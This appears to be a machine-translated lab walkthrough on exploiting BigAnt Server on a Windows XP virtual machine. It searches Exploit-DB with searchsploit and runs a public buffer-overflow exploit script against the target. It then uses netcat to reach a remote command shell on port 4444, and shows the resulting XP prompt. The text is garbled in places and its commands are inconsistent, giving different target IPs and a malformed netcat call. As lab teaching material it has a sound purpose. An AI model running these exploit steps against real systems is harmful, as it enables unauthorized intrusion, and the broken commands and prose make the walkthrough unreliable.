Exploitdb search

 

At the meeting this time in is2c are taught how to go about the exploits of the windows xp with through running applications in it. In my lab, I am using bigAnt server installed on windows xp.

After I run everything, i.e. virtual machine as windows xp inside his laboratory, as a target and we will server bigAnt exploits.

Now run the tools we will use. In this case I'm using a exploitdb search. Did not rule out other tools to do this.

After open then I run the./searchsploit bigant

then it will appear the following sebbagai information:

Description Path

--------------------------------------------------------------------------- -------------------------

BigAnt Server 2.2 PreAuth Overflow Remote SEH Exploit (0 day)/windows/remote/5451.py

BigAnt Server 2.50 GET Request Remote BOF Exploit (SEH) 0/windows/remote/9673.py

BigAnt Server 2.50 GET Request Remote BOF Exploit (SEH) 0/windows/remote/9673.py

BigAnt Server 2.50 GET Request Remote BOF Exploit (SEH) Universal/windows/remote/9690.py

BigAnt Server 2.50 GET Request Remote BOF Exploit (SEH) Universal/windows/remote/9690.py

BigAnt Server 2.50 SP1 (ZIP File) Local Buffer Overflow PoC/windows/dos/9695.py

BigAnt Server 2.50 SP6 < = (ZIP File) Local Buffer Overflow PoC # 2/windows/dos/9734.py

BigAnt Server 2.50 SEH (0)/windows/remote/10765.py

BigAnt Server 2.50 v Remote Buffer Overflow Exploit 2/windows/remote/10973.py

Bigant Messenger < = v 2.52-(AntCore. etc.) () 0 day Remote RegisterCom Heap Overflow/windows/remote/12417.py

BigAnt Server 2.50 USV Buffer Overflow/windows/remote/16426.rb

BigAnt Server 2.2 Buffer Overflow/windows/remote/16430.rb

BigAnt Server 2.50 SP1 Buffer Overflow/windows/remote/16431.rb

We observe the results are the same and look for the version with that used by the target. To gather information before I've written in previous postings. I give above is the target color that allows us to enter.

To know the existence of the folder we use the ls command first.

root @ bt:/pentest/exploits/exploitdb # ls

files .csv platforms searchsploit

secript above explained that folder which we will make the target are on platforms

After that we look for tau port that allows us to enter it with mengirimkanya to kate. Type the command as follows:

root @ bt:/pentest/exploits/exploitdb # kate platforms/windows/remote/10765. py

pictures

in the picture it looks port that allows us to be able to enter that port 4444. write the following command to send the connection exploits:

root @ bt:/pentest/exploits/exploitdb # python platforms/windows/remote/10765. py 172.16.227.192 4444

If the description in the following Exploit sent! Connect to a remote host on port 4444 then we can already enter windowsnya.

Then use the command as follows:

root @ bt:/pentest/exploits/nv exploitdb # nc-4444 172.16.227.129

If it appears the following information so we can already control the windows from console:

(UNKNOWN) [172.16.227.129] 4444 (?) open

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32 >

Thanks